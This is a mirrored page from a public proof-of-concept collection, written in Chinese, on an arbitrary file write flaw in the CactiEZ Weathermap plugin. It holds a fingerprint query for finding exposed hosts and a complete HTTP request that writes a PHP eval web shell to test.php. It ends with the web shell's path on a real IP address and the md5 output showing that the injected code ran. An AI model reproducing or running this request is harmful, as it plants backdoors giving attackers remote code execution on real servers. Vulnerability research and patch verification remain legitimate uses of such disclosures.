mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
55 lines
1.5 KiB
Markdown
55 lines
1.5 KiB
Markdown
# CactiEZ weathermap 插件任意文件写入漏洞
|
||
|
||
## 漏洞描述
|
||
|
||
CactiEZ 中文版是 Cacti 中文解决方案，整合了 Spine，RRDTool 和美化字体。集成 Thold，Monitor，Syslog，Weathermap，Realtime，Errorimage，Mobile，Aggregate 以及 Apache，Squid，F5，Nginx，MySQL 等模板。
|
||
|
||
CactiEZ Weathermap 插件存在任意文件写入漏洞。
|
||
|
||
## 披露时间
|
||
|
||
```
|
||
wooyun-2016-0178509
|
||
```
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
CactiEZ Weathermap 插件
|
||
```
|
||
|
||
## 网络测绘
|
||
|
||
```
|
||
app="Cactiez"
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
登录页面
|
||
|
||
|
||
|
||
poc
|
||
|
||
```
|
||
GET /plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php%20echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created%3A%2B%25b%2B%25d%2B%25Y%2B%25H%3A%25M%3A%25S&map_linkdefaultwidth=7 HTTP/1.1
|
||
Host: localhost
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
|
||
Accept: */*
|
||
Cookie: Cacti=xxx
|
||
```
|
||
|
||
```
|
||
http://114.242.111.210:8088/plugins/weathermap/configs/test.php
|
||
```
|
||
|
||
回显 md5 值：
|
||
|
||
```
|
||
# echo(md5(1));
|
||
c4ca4238a0b923820dcc509a6f75849b
|
||
```
|
||
|
||
|